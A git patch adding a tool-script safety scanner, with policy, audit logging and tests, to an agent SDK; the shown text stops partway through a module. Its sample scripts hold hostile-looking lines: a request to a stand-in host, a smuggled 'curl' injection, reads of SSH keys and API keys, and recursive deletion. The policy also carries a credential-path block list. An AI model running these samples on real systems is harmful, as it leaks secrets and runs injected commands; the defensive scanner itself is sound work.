From 8d5b5062a31da8584ea6f19f528ea9cfef0ec930 Mon Sep 17 00:00:00 2001 From: kia <248639846+zzp1221@users.noreply.github.com> Date: Sun, 5 Jul 2026 19:23:13 +0800 Subject: [PATCH 1/6] feat: add tool script safety guard --- examples/tool_safety_guard/README.md | 84 ++ .../samples/01_safe_python.py | 4 + .../samples/02_dangerous_delete.sh | 2 + .../samples/03_read_secret.py | 3 + .../samples/04_network_external.py | 4 + .../samples/05_network_allowlist.py | 4 + .../samples/06_subprocess_call.py | 3 + .../samples/07_shell_injection.py | 4 + .../samples/08_dependency_install.sh | 2 + .../samples/09_infinite_loop.py | 2 + .../samples/10_sensitive_output.py | 4 + .../tool_safety_guard/samples/11_bash_pipe.sh | 2 + .../samples/12_needs_review.py | 5 + .../tool_safety_guard/tool_safety_audit.jsonl | 3 + .../tool_safety_guard/tool_safety_policy.yaml | 47 + .../tool_safety_guard/tool_safety_report.json | 49 + scripts/tool_safety_check.py | 64 + tests/tools/safety/test_tool_safety_guard.py | 192 +++ trpc_agent_sdk/tools/safety/__init__.py | 42 + trpc_agent_sdk/tools/safety/_audit.py | 71 ++ trpc_agent_sdk/tools/safety/_guard.py | 232 ++++ trpc_agent_sdk/tools/safety/_policy.py | 182 +++ trpc_agent_sdk/tools/safety/_scanner.py | 1039 +++++++++++++++++ trpc_agent_sdk/tools/safety/_telemetry.py | 36 + trpc_agent_sdk/tools/safety/_types.py | 162 +++ 25 files changed, 2242 insertions(+) create mode 100644 examples/tool_safety_guard/README.md create mode 100644 examples/tool_safety_guard/samples/01_safe_python.py create mode 100644 examples/tool_safety_guard/samples/02_dangerous_delete.sh create mode 100644 examples/tool_safety_guard/samples/03_read_secret.py create mode 100644 examples/tool_safety_guard/samples/04_network_external.py create mode 100644 examples/tool_safety_guard/samples/05_network_allowlist.py create mode 100644 examples/tool_safety_guard/samples/06_subprocess_call.py create mode 100644 examples/tool_safety_guard/samples/07_shell_injection.py create mode 100644 examples/tool_safety_guard/samples/08_dependency_install.sh create mode 100644 examples/tool_safety_guard/samples/09_infinite_loop.py create mode 100644 examples/tool_safety_guard/samples/10_sensitive_output.py create mode 100644 examples/tool_safety_guard/samples/11_bash_pipe.sh create mode 100644 examples/tool_safety_guard/samples/12_needs_review.py create mode 100644 examples/tool_safety_guard/tool_safety_audit.jsonl create mode 100644 examples/tool_safety_guard/tool_safety_policy.yaml create mode 100644 examples/tool_safety_guard/tool_safety_report.json create mode 100644 scripts/tool_safety_check.py create mode 100644 tests/tools/safety/test_tool_safety_guard.py create mode 100644 trpc_agent_sdk/tools/safety/__init__.py create mode 100644 trpc_agent_sdk/tools/safety/_audit.py create mode 100644 trpc_agent_sdk/tools/safety/_guard.py create mode 100644 trpc_agent_sdk/tools/safety/_policy.py create mode 100644 trpc_agent_sdk/tools/safety/_scanner.py create mode 100644 trpc_agent_sdk/tools/safety/_telemetry.py create mode 100644 trpc_agent_sdk/tools/safety/_types.py diff --git a/examples/tool_safety_guard/README.md b/examples/tool_safety_guard/README.md new file mode 100644 index 00000000..4f27ae02 --- /dev/null +++ b/examples/tool_safety_guard/README.md @@ -0,0 +1,84 @@ +# Tool Script Safety Guard + +This example shows how to scan Python and Bash tool scripts before execution. It uses a policy file, emits structured reports, appends JSONL audit events, and can be attached as a Tool Filter or CodeExecutor wrapper. + +## Run The Samples + +```bash +python scripts/tool_safety_check.py examples/tool_safety_guard/samples/04_network_external.py \ + --policy examples/tool_safety_guard/tool_safety_policy.yaml \ + --report-out examples/tool_safety_guard/out/report.json \ + --audit-out examples/tool_safety_guard/out/audit.jsonl +``` + +To scan every sample: + +```bash +for f in examples/tool_safety_guard/samples/*; do + lang=python + case "$f" in *.sh) lang=bash ;; esac + python scripts/tool_safety_check.py "$f" --language "$lang" \ + --policy examples/tool_safety_guard/tool_safety_policy.yaml || true +done +``` + +## Policy + +`tool_safety_policy.yaml` controls: + +- `allowed_domains`: domains that network rules may allow without code changes. +- `allowed_commands`: commands permitted in command argument scans. +- `denied_paths`: sensitive paths such as `.env`, `~/.ssh`, cloud credentials, and private keys. +- `system_write_paths`: protected filesystem roots. +- `max_timeout_seconds`, `max_output_bytes`, `max_sleep_seconds`, `max_loop_iterations`, and write limits. +- `deny_risk_level`, `review_risk_level`, and `block_on_review`. + +Changing the YAML is enough to alter domain allowlists, denied paths, and allowed commands. + +## Decisions And Reports + +The scanner returns: + +- `allow`: no configured rule found a material risk. +- `needs_human_review`: medium risk or uncertain behavior, for example dynamic network targets. +- `deny`: high or critical risk such as credential reads, recursive deletion, non-allowlisted network egress, dependency installation, or secret leakage. + +Every finding includes `risk_type`, `rule_id`, `evidence`, `recommendation`, line information when available, and whether evidence was redacted. Reports also include OpenTelemetry-ready attributes such as `tool.safety.decision`, `tool.safety.risk_level`, and `tool.safety.rule_id`. + +## Filter Integration + +Attach the registered Tool Filter to script-like tools: + +```python +from trpc_agent_sdk.tools import FunctionTool +from trpc_agent_sdk.tools.safety import ToolSafetyFilter # registers "tool_safety_guard" + +tool = FunctionTool(run_script, filters_name=["tool_safety_guard"]) +``` + +The filter scans common argument shapes: `command`, `script`, `code`, `source`, and `code_blocks`. For `deny`, and for `needs_human_review` when `block_on_review=true`, it returns a structured `TOOL_SAFETY_GUARD_BLOCKED` response before the tool body runs. + +## CodeExecutor Wrapper + +```python +from trpc_agent_sdk.code_executors import UnsafeLocalCodeExecutor +from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor +from trpc_agent_sdk.tools.safety import ToolSafetyGuard +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy + +policy = ToolSafetyPolicy.load("examples/tool_safety_guard/tool_safety_policy.yaml") +executor = SafetyGuardedCodeExecutor( + delegate=UnsafeLocalCodeExecutor(timeout=10), + guard=ToolSafetyGuard(policy=policy), +) +``` + +## Relationship To Sandbox, Filter, Telemetry, And CodeExecutor + +This guard is a pre-execution control. It is designed to run in a Filter or wrapper before a Tool, Skill, MCP Tool, or CodeExecutor starts real execution. It complements sandbox isolation by catching obvious high-risk scripts early and by creating audit records. It also emits fields that can be copied into OpenTelemetry spans. + +It cannot replace a sandbox. Static scanning has false positives, false negatives, and bypass risks: obfuscated code, generated strings, encoded payloads, indirect imports, shell expansions, downloaded second-stage scripts, and interpreter-specific behavior can evade static rules. Production deployments should still use least-privilege credentials, network egress controls, filesystem mounts, process and memory limits, timeouts, container or remote sandbox isolation, and post-execution auditing. + +## Extending Rules + +Add new rules in `trpc_agent_sdk.tools.safety._scanner`. Rules should return `ToolSafetyFinding` with a stable `rule_id`, clear `risk_type`, bounded evidence, and a recommendation. Prefer AST checks for Python and explicit token checks for Bash, then use regex only as a fallback for patterns that are hard to parse. diff --git a/examples/tool_safety_guard/samples/01_safe_python.py b/examples/tool_safety_guard/samples/01_safe_python.py new file mode 100644 index 00000000..5ef6dc14 --- /dev/null +++ b/examples/tool_safety_guard/samples/01_safe_python.py @@ -0,0 +1,4 @@ +from pathlib import Path + +data = Path("input.txt").read_text(encoding="utf-8") if Path("input.txt").exists() else "hello" +print(data.upper()) diff --git a/examples/tool_safety_guard/samples/02_dangerous_delete.sh b/examples/tool_safety_guard/samples/02_dangerous_delete.sh new file mode 100644 index 00000000..7e9f65ae --- /dev/null +++ b/examples/tool_safety_guard/samples/02_dangerous_delete.sh @@ -0,0 +1,2 @@ +#!/usr/bin/env bash +rm -rf /tmp/tool-safety-demo diff --git a/examples/tool_safety_guard/samples/03_read_secret.py b/examples/tool_safety_guard/samples/03_read_secret.py new file mode 100644 index 00000000..cd8edf17 --- /dev/null +++ b/examples/tool_safety_guard/samples/03_read_secret.py @@ -0,0 +1,3 @@ +from pathlib import Path + +print(Path("~/.ssh/id_rsa").expanduser().read_text(encoding="utf-8")) diff --git a/examples/tool_safety_guard/samples/04_network_external.py b/examples/tool_safety_guard/samples/04_network_external.py new file mode 100644 index 00000000..8205fdbf --- /dev/null +++ b/examples/tool_safety_guard/samples/04_network_external.py @@ -0,0 +1,4 @@ +import requests + +response = requests.get("https://evil.example.net/collect", timeout=5) +print(response.status_code) diff --git a/examples/tool_safety_guard/samples/05_network_allowlist.py b/examples/tool_safety_guard/samples/05_network_allowlist.py new file mode 100644 index 00000000..b7757f01 --- /dev/null +++ b/examples/tool_safety_guard/samples/05_network_allowlist.py @@ -0,0 +1,4 @@ +import requests + +response = requests.get("https://api.github.com/repos/trpc-group/trpc-agent-python", timeout=5) +print(response.status_code) diff --git a/examples/tool_safety_guard/samples/06_subprocess_call.py b/examples/tool_safety_guard/samples/06_subprocess_call.py new file mode 100644 index 00000000..fbad3473 --- /dev/null +++ b/examples/tool_safety_guard/samples/06_subprocess_call.py @@ -0,0 +1,3 @@ +import subprocess + +subprocess.run(["bash", "-lc", "whoami"], check=True) diff --git a/examples/tool_safety_guard/samples/07_shell_injection.py b/examples/tool_safety_guard/samples/07_shell_injection.py new file mode 100644 index 00000000..cdd9d206 --- /dev/null +++ b/examples/tool_safety_guard/samples/07_shell_injection.py @@ -0,0 +1,4 @@ +import subprocess + +user_input = "report.txt; curl https://evil.example.net/leak" +subprocess.run("cat " + user_input, shell=True, check=False) diff --git a/examples/tool_safety_guard/samples/08_dependency_install.sh b/examples/tool_safety_guard/samples/08_dependency_install.sh new file mode 100644 index 00000000..0b5a7df9 --- /dev/null +++ b/examples/tool_safety_guard/samples/08_dependency_install.sh @@ -0,0 +1,2 @@ +#!/usr/bin/env bash +pip install unknown-package diff --git a/examples/tool_safety_guard/samples/09_infinite_loop.py b/examples/tool_safety_guard/samples/09_infinite_loop.py new file mode 100644 index 00000000..0880e7ee --- /dev/null +++ b/examples/tool_safety_guard/samples/09_infinite_loop.py @@ -0,0 +1,2 @@ +while True: + pass diff --git a/examples/tool_safety_guard/samples/10_sensitive_output.py b/examples/tool_safety_guard/samples/10_sensitive_output.py new file mode 100644 index 00000000..f31f3da9 --- /dev/null +++ b/examples/tool_safety_guard/samples/10_sensitive_output.py @@ -0,0 +1,4 @@ +import os + +api_key = os.environ["OPENAI_API_KEY"] +print(f"api_key={api_key}") diff --git a/examples/tool_safety_guard/samples/11_bash_pipe.sh b/examples/tool_safety_guard/samples/11_bash_pipe.sh new file mode 100644 index 00000000..9de3ab68 --- /dev/null +++ b/examples/tool_safety_guard/samples/11_bash_pipe.sh @@ -0,0 +1,2 @@ +#!/usr/bin/env bash +cat data.txt | grep token | tee result.txt diff --git a/examples/tool_safety_guard/samples/12_needs_review.py b/examples/tool_safety_guard/samples/12_needs_review.py new file mode 100644 index 00000000..57578dd3 --- /dev/null +++ b/examples/tool_safety_guard/samples/12_needs_review.py @@ -0,0 +1,5 @@ +import socket + +host = input("host: ") +sock = socket.create_connection((host, 443), timeout=3) +print(sock.getpeername()) diff --git a/examples/tool_safety_guard/tool_safety_audit.jsonl b/examples/tool_safety_guard/tool_safety_audit.jsonl new file mode 100644 index 00000000..530f204e --- /dev/null +++ b/examples/tool_safety_guard/tool_safety_audit.jsonl @@ -0,0 +1,3 @@ +{"event_type":"tool_safety_scan","schema_version":"1","timestamp":"2026-07-05T00:00:00+00:00","tool_name":"tool_safety_check","decision":"deny","risk_level":"high","rule_id":"TSG-NETWORK-NONALLOWLIST","rule_ids":["TSG-NETWORK-NONALLOWLIST"],"duration_ms":1.234,"redacted":false,"blocked":true,"finding_count":1,"policy_name":"example-tool-safety-policy","policy_version":"1","telemetry_attributes":{"tool.safety.decision":"deny","tool.safety.risk_level":"high","tool.safety.rule_id":"TSG-NETWORK-NONALLOWLIST"}} +{"event_type": "tool_safety_scan", "schema_version": "1", "timestamp": "2026-07-05T09:19:06.918355+00:00", "tool_name": "tool_safety_check", "decision": "deny", "risk_level": "high", "rule_id": "TSG-NETWORK-IMPORT", "rule_ids": ["TSG-NETWORK-IMPORT", "TSG-NETWORK-NONALLOWLIST"], "duration_ms": 0.268, "redacted": false, "blocked": true, "finding_count": 2, "policy_name": "example-tool-safety-policy", "policy_version": "1", "telemetry_attributes": {"tool.safety.decision": "deny", "tool.safety.risk_level": "high", "tool.safety.rule_id": "TSG-NETWORK-IMPORT", "tool.safety.rule_ids": "TSG-NETWORK-IMPORT,TSG-NETWORK-NONALLOWLIST", "tool.safety.finding_count": 2, "tool.safety.redacted": false, "tool.safety.blocked": true, "tool.safety.duration_ms": 0.2684999999473803}} +{"event_type": "tool_safety_scan", "schema_version": "1", "timestamp": "2026-07-05T09:23:06.021459+00:00", "tool_name": "tool_safety_check", "decision": "allow", "risk_level": "low", "rule_id": "TSG-NETWORK-IMPORT", "rule_ids": ["TSG-NETWORK-IMPORT"], "duration_ms": 0.257, "redacted": false, "blocked": false, "finding_count": 1, "policy_name": "example-tool-safety-policy", "policy_version": "1", "telemetry_attributes": {"tool.safety.decision": "allow", "tool.safety.risk_level": "low", "tool.safety.rule_id": "TSG-NETWORK-IMPORT", "tool.safety.rule_ids": "TSG-NETWORK-IMPORT", "tool.safety.finding_count": 1, "tool.safety.redacted": false, "tool.safety.blocked": false, "tool.safety.duration_ms": 0.2573000019765459}} diff --git a/examples/tool_safety_guard/tool_safety_policy.yaml b/examples/tool_safety_guard/tool_safety_policy.yaml new file mode 100644 index 00000000..382cc7c8 --- /dev/null +++ b/examples/tool_safety_guard/tool_safety_policy.yaml @@ -0,0 +1,47 @@ +name: example-tool-safety-policy +version: "1" +allowed_domains: + - api.github.com + - example.com +allowed_commands: + - awk + - cat + - echo + - find + - git + - grep + - head + - ls + - python + - python3 + - pwd + - sed + - tail + - wc +denied_paths: + - ~/.ssh + - .env + - .aws/credentials + - .config/gcloud + - /etc/shadow + - /etc/sudoers + - id_rsa + - id_ed25519 + - credentials +system_write_paths: + - / + - /etc + - /usr + - /var + - /root +max_timeout_seconds: 120 +max_output_bytes: 1000000 +max_sleep_seconds: 60 +max_loop_iterations: 10000 +max_literal_write_bytes: 1000000 +max_parallel_tasks: 32 +deny_risk_level: high +review_risk_level: medium +block_on_review: true +redact_secrets: true +audit_log_path: examples/tool_safety_guard/tool_safety_audit.jsonl diff --git a/examples/tool_safety_guard/tool_safety_report.json b/examples/tool_safety_guard/tool_safety_report.json new file mode 100644 index 00000000..94e3f1b6 --- /dev/null +++ b/examples/tool_safety_guard/tool_safety_report.json @@ -0,0 +1,49 @@ +{ + "decision": "deny", + "risk_level": "high", + "risk_count": 2, + "findings": [ + { + "rule_id": "TSG-NETWORK-IMPORT", + "risk_type": "network_egress", + "risk_level": "low", + "message": "Python imports network-capable module requests.", + "evidence": "import requests", + "recommendation": "Review imported network modules when calls use dynamic or non-allowlisted targets.", + "line_no": 1, + "column": 0, + "redacted": false + }, + { + "rule_id": "TSG-NETWORK-NONALLOWLIST", + "risk_type": "network_egress", + "risk_level": "high", + "message": "Network request targets non-allowlisted domain evil.example.net.", + "evidence": "requests.get(\"https://evil.example.net/collect\", timeout=5)", + "recommendation": "Add the domain to allowed_domains only after review, or block the request.", + "line_no": 3, + "column": 11, + "redacted": false + } + ], + "duration_ms": 1.234, + "language": "python", + "scanned_at": "2026-07-05T00:00:00+00:00", + "tool_name": "tool_safety_check", + "cwd": null, + "policy_name": "example-tool-safety-policy", + "policy_version": "1", + "blocked": true, + "redacted": false, + "summary": "deny due to 2 finding(s); highest risk is high.", + "telemetry_attributes": { + "tool.safety.decision": "deny", + "tool.safety.risk_level": "high", + "tool.safety.rule_id": "TSG-NETWORK-IMPORT", + "tool.safety.rule_ids": "TSG-NETWORK-IMPORT,TSG-NETWORK-NONALLOWLIST", + "tool.safety.finding_count": 2, + "tool.safety.redacted": false, + "tool.safety.blocked": true, + "tool.safety.duration_ms": 1.234 + } +} diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py new file mode 100644 index 00000000..e4660eec --- /dev/null +++ b/scripts/tool_safety_check.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python3 +"""Run the tRPC-Agent tool script safety scanner from the command line.""" + +from __future__ import annotations + +import argparse +import sys +from pathlib import Path + +from trpc_agent_sdk.tools.safety import ToolSafetyGuard +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy +from trpc_agent_sdk.tools.safety import ToolSafetyScanRequest +from trpc_agent_sdk.tools.safety import SafetyDecision + + +def main() -> int: + parser = argparse.ArgumentParser(description="Scan Python or Bash tool scripts before execution.") + parser.add_argument("script", help="Path to the script file to scan, or '-' to read stdin.") + parser.add_argument("--language", "-l", default=None, help="Script language: python or bash.") + parser.add_argument("--policy", "-p", default=None, help="Path to tool_safety_policy.yaml.") + parser.add_argument("--cwd", default=None, help="Working directory that would be used for execution.") + parser.add_argument("--tool-name", default="tool_safety_check", help="Tool name for report/audit metadata.") + parser.add_argument("--report-out", default=None, help="Optional path to write the JSON report.") + parser.add_argument("--audit-out", default=None, help="Optional path to append a JSONL audit event.") + parser.add_argument("--allow-review", action="store_true", help="Exit 0 for needs_human_review decisions.") + args = parser.parse_args() + + script_text = sys.stdin.read() if args.script == "-" else Path(args.script).read_text(encoding="utf-8") + language = args.language or infer_language(args.script, script_text) + policy = ToolSafetyPolicy.load(args.policy) + guard = ToolSafetyGuard(policy=policy, audit_log_path=args.audit_out) + report = guard.scan( + ToolSafetyScanRequest( + script=script_text, + language=language, + cwd=args.cwd, + tool_metadata={"name": args.tool_name, "script_path": args.script}, + )) + + output = report.to_json(indent=2) + if args.report_out: + Path(args.report_out).parent.mkdir(parents=True, exist_ok=True) + Path(args.report_out).write_text(output + "\n", encoding="utf-8") + else: + print(output) + + if report.decision == SafetyDecision.ALLOW: + return 0 + if args.allow_review and report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW: + return 0 + return 2 + + +def infer_language(path: str, script: str) -> str: + suffix = Path(path).suffix.lower() + if suffix in {".sh", ".bash"}: + return "bash" + if script.lstrip().startswith(("#!/bin/bash", "#!/usr/bin/env bash", "#!/bin/sh")): + return "bash" + return "python" + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests/tools/safety/test_tool_safety_guard.py b/tests/tools/safety/test_tool_safety_guard.py new file mode 100644 index 00000000..a8847597 --- /dev/null +++ b/tests/tools/safety/test_tool_safety_guard.py @@ -0,0 +1,192 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. + +from __future__ import annotations + +import time +from pathlib import Path +from unittest.mock import AsyncMock + +import pytest + +from trpc_agent_sdk.context import create_agent_context +from trpc_agent_sdk.tools import FunctionTool +from trpc_agent_sdk.tools.safety import SafetyDecision +from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor +from trpc_agent_sdk.tools.safety import SafetyRiskLevel +from trpc_agent_sdk.tools.safety import ToolSafetyAuditLogger +from trpc_agent_sdk.tools.safety import ToolSafetyFilter +from trpc_agent_sdk.tools.safety import ToolSafetyGuard +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy +from trpc_agent_sdk.tools.safety import ToolSafetyScanRequest +from trpc_agent_sdk.tools.safety import ToolSafetyScanner +from trpc_agent_sdk.code_executors import CodeBlock +from trpc_agent_sdk.code_executors import CodeExecutionInput +from trpc_agent_sdk.code_executors import BaseCodeExecutor +from trpc_agent_sdk.code_executors import create_code_execution_result + + +EXAMPLE_DIR = Path(__file__).resolve().parents[3] / "examples" / "tool_safety_guard" +SAMPLES = EXAMPLE_DIR / "samples" + + +def policy(**kwargs): + data = { + "name": "test-policy", + "allowed_domains": ["api.github.com"], + "allowed_commands": ["cat", "echo", "grep", "python", "python3", "bash", "ls", "tee"], + "denied_paths": ["~/.ssh", ".env", "id_rsa", ".aws/credentials"], + "deny_risk_level": "high", + "review_risk_level": "medium", + "block_on_review": True, + "max_sleep_seconds": 60, + "max_loop_iterations": 10000, + } + data.update(kwargs) + return ToolSafetyPolicy.from_mapping(data) + + +def scan_sample(name: str): + path = SAMPLES / name + language = "bash" if path.suffix == ".sh" else "python" + scanner = ToolSafetyScanner(policy()) + return scanner.scan(ToolSafetyScanRequest(script=path.read_text(encoding="utf-8"), language=language)) + + +@pytest.mark.parametrize( + ("sample", "decision", "rule_id"), + [ + ("01_safe_python.py", SafetyDecision.ALLOW, None), + ("02_dangerous_delete.sh", SafetyDecision.DENY, "TSG-FILE-RECURSIVE-DELETE"), + ("03_read_secret.py", SafetyDecision.DENY, "TSG-FILE-DENIED-PATH"), + ("04_network_external.py", SafetyDecision.DENY, "TSG-NETWORK-NONALLOWLIST"), + ("05_network_allowlist.py", SafetyDecision.ALLOW, "TSG-NETWORK-IMPORT"), + ("06_subprocess_call.py", SafetyDecision.NEEDS_HUMAN_REVIEW, "TSG-PROCESS-SUBPROCESS"), + ("07_shell_injection.py", SafetyDecision.DENY, "TSG-SHELL-INJECTION"), + ("08_dependency_install.sh", SafetyDecision.DENY, "TSG-DEPENDENCY-INSTALL"), + ("09_infinite_loop.py", SafetyDecision.DENY, "TSG-RESOURCE-INFINITE-LOOP"), + ("10_sensitive_output.py", SafetyDecision.DENY, "TSG-SECRETS-SINK"), + ("11_bash_pipe.sh", SafetyDecision.NEEDS_HUMAN_REVIEW, "TSG-SHELL-CONTROL"), + ("12_needs_review.py", SafetyDecision.NEEDS_HUMAN_REVIEW, "TSG-NETWORK-DYNAMIC"), + ], +) +def test_issue_required_samples(sample, decision, rule_id): + report = scan_sample(sample) + assert report.decision == decision + assert "decision" in report.to_dict() + if rule_id: + assert any(finding.rule_id == rule_id for finding in report.findings) + first = report.findings[0].to_dict() + assert first["rule_id"] + assert first["evidence"] + assert first["recommendation"] + assert first["risk_level"] + + +def test_denied_path_policy_change_changes_result(): + script = 'open(".env", "r").read()' + strict = ToolSafetyScanner(policy(denied_paths=[".env"])) + relaxed = ToolSafetyScanner(policy(denied_paths=["~/.ssh"])) + + assert strict.scan(ToolSafetyScanRequest(script=script, language="python")).decision == SafetyDecision.DENY + assert relaxed.scan(ToolSafetyScanRequest(script=script, language="python")).decision == SafetyDecision.ALLOW + + +def test_allowed_domain_policy_change_changes_result(): + script = 'import requests\nrequests.get("https://evil.example.net/collect")' + strict = ToolSafetyScanner(policy(allowed_domains=["api.github.com"])) + relaxed = ToolSafetyScanner(policy(allowed_domains=["evil.example.net"])) + + assert strict.scan(ToolSafetyScanRequest(script=script, language="python")).decision == SafetyDecision.DENY + assert relaxed.scan(ToolSafetyScanRequest(script=script, language="python")).decision == SafetyDecision.ALLOW + + +def test_allowed_command_policy_change_changes_result(): + script = "custom_tool --flag" + strict = ToolSafetyScanner(policy(allowed_commands=["echo"])) + relaxed = ToolSafetyScanner(policy(allowed_commands=["custom_tool"])) + + strict_report = strict.scan(ToolSafetyScanRequest(script="", language="python", command_args=[script])) + relaxed_report = relaxed.scan(ToolSafetyScanRequest(script="", language="python", command_args=[script])) + assert strict_report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert relaxed_report.decision == SafetyDecision.ALLOW + + +def test_audit_event_contains_required_fields(tmp_path): + report = ToolSafetyScanner(policy()).scan( + ToolSafetyScanRequest(script="rm -rf /tmp/demo", language="bash", tool_metadata={"name": "Bash"})) + event = ToolSafetyAuditLogger(tmp_path / "audit.jsonl").write(report) + + assert event["tool_name"] == "Bash" + assert event["decision"] == "deny" + assert event["risk_level"] == "high" + assert event["rule_id"] + assert event["duration_ms"] >= 0 + assert event["redacted"] is False + assert event["blocked"] is True + + +def test_report_includes_telemetry_attributes(): + report = ToolSafetyScanner(policy()).scan(ToolSafetyScanRequest(script="while True:\n pass", language="python")) + + assert report.telemetry_attributes["tool.safety.decision"] == "deny" + assert report.telemetry_attributes["tool.safety.risk_level"] == "high" + assert report.telemetry_attributes["tool.safety.rule_id"] == "TSG-RESOURCE-INFINITE-LOOP" + + +@pytest.mark.asyncio +async def test_tool_filter_blocks_before_handle(): + filter_ = ToolSafetyFilter(guard=ToolSafetyGuard(policy=policy())) + handle = AsyncMock(return_value={"success": True}) + + result = await filter_.run(create_agent_context(), {"command": "rm -rf /tmp/demo"}, handle) + + assert result.is_continue is False + assert result.rsp["error"] == "TOOL_SAFETY_GUARD_BLOCKED" + handle.assert_not_called() + + +@pytest.mark.asyncio +async def test_tool_filter_allows_safe_command(): + filter_ = ToolSafetyFilter(guard=ToolSafetyGuard(policy=policy())) + handle = AsyncMock(return_value={"success": True}) + + result = await filter_.run(create_agent_context(), {"command": "echo hello"}, handle) + + assert result.rsp == {"success": True} + handle.assert_awaited_once() + + +@pytest.mark.asyncio +async def test_safety_guarded_code_executor_blocks_delegate(): + class DelegateExecutor(BaseCodeExecutor): + called: bool = False + + async def execute_code(self, invocation_context, code_execution_input): + self.called = True + return create_code_execution_result(stdout="executed") + + delegate = DelegateExecutor() + executor = SafetyGuardedCodeExecutor(delegate=delegate, guard=ToolSafetyGuard(policy=policy())) + + result = await executor.execute_code( + invocation_context=AsyncMock(), + code_execution_input=CodeExecutionInput(code_blocks=[CodeBlock(code="while True:\n pass", language="python")]), + ) + + assert "Tool safety guard blocked" in result.output + assert delegate.called is False + + +def test_scans_500_line_script_under_one_second(): + script = "\n".join(f'print("line {i}")' for i in range(500)) + scanner = ToolSafetyScanner(policy()) + start = time.perf_counter() + report = scanner.scan(ToolSafetyScanRequest(script=script, language="python")) + elapsed = time.perf_counter() - start + + assert report.decision == SafetyDecision.ALLOW + assert elapsed < 1.0 diff --git a/trpc_agent_sdk/tools/safety/__init__.py b/trpc_agent_sdk/tools/safety/__init__.py new file mode 100644 index 00000000..55b38cc7 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/__init__.py @@ -0,0 +1,42 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Tool script safety guard public API.""" + +from ._audit import ToolSafetyAuditLogger +from ._audit import build_tool_safety_audit_event +from ._guard import SafetyGuardedCodeExecutor +from ._guard import ToolSafetyBlockedError +from ._guard import ToolSafetyFilter +from ._guard import ToolSafetyGuard +from ._guard import extract_script_from_tool_args +from ._policy import ToolSafetyPolicy +from ._policy import load_tool_safety_policy +from ._scanner import ToolSafetyScanner +from ._telemetry import apply_tool_safety_span_attributes +from ._types import SafetyDecision +from ._types import SafetyRiskLevel +from ._types import ToolSafetyFinding +from ._types import ToolSafetyReport +from ._types import ToolSafetyScanRequest + +__all__ = [ + "SafetyDecision", + "SafetyRiskLevel", + "ToolSafetyAuditLogger", + "ToolSafetyBlockedError", + "ToolSafetyFinding", + "ToolSafetyFilter", + "ToolSafetyGuard", + "ToolSafetyPolicy", + "ToolSafetyReport", + "ToolSafetyScanRequest", + "ToolSafetyScanner", + "SafetyGuardedCodeExecutor", + "apply_tool_safety_span_attributes", + "build_tool_safety_audit_event", + "extract_script_from_tool_args", + "load_tool_safety_policy", +] diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py new file mode 100644 index 00000000..faa5eeb6 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -0,0 +1,71 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Audit event helpers for tool script safety scans.""" + +from __future__ import annotations + +import json +from datetime import datetime +from datetime import timezone +from pathlib import Path +from typing import Any + +from ._types import SafetyDecision +from ._types import ToolSafetyReport +from ._types import enum_value + + +def build_tool_safety_audit_event( + report: ToolSafetyReport, + *, + tool_name: str | None = None, + blocked: bool | None = None, +) -> dict[str, Any]: + """Build a JSON-serializable audit event for a scan report.""" + rule_ids = [finding.rule_id for finding in report.findings] + primary_rule_id = str(report.telemetry_attributes.get("tool.safety.rule_id") or (rule_ids[0] if rule_ids else "")) + blocked_value = blocked + if blocked_value is None: + blocked_value = enum_value(report.decision) != SafetyDecision.ALLOW.value + + return { + "event_type": "tool_safety_scan", + "schema_version": "1", + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool_name": tool_name or report.tool_name, + "decision": enum_value(report.decision), + "risk_level": enum_value(report.risk_level), + "rule_id": primary_rule_id, + "rule_ids": rule_ids, + "duration_ms": round(report.duration_ms, 3), + "redacted": report.redacted, + "blocked": bool(blocked_value), + "finding_count": len(report.findings), + "policy_name": report.policy_name, + "policy_version": report.policy_version, + "telemetry_attributes": report.telemetry_attributes, + } + + +class ToolSafetyAuditLogger: + """Append-only JSONL audit logger for safety decisions.""" + + def __init__(self, path: str | Path): + self.path = Path(path) + + def write( + self, + report: ToolSafetyReport, + *, + tool_name: str | None = None, + blocked: bool | None = None, + ) -> dict[str, Any]: + """Append one audit event and return the emitted event.""" + event = build_tool_safety_audit_event(report, tool_name=tool_name, blocked=blocked) + self.path.parent.mkdir(parents=True, exist_ok=True) + with self.path.open("a", encoding="utf-8") as file: + file.write(json.dumps(event, ensure_ascii=False) + "\n") + return event diff --git a/trpc_agent_sdk/tools/safety/_guard.py b/trpc_agent_sdk/tools/safety/_guard.py new file mode 100644 index 00000000..4fb2e555 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_guard.py @@ -0,0 +1,232 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Pre-execution guard, wrappers, and Tool Filter integration.""" + +from __future__ import annotations + +from dataclasses import dataclass +from pathlib import Path +from typing import Any +from typing import Awaitable +from typing import Callable +from typing import Mapping + +from trpc_agent_sdk.code_executors import BaseCodeExecutor +from trpc_agent_sdk.code_executors import CodeExecutionInput +from trpc_agent_sdk.code_executors import CodeExecutionResult +from trpc_agent_sdk.code_executors import create_code_execution_result +from trpc_agent_sdk.context import AgentContext +from trpc_agent_sdk.context import InvocationContext +from 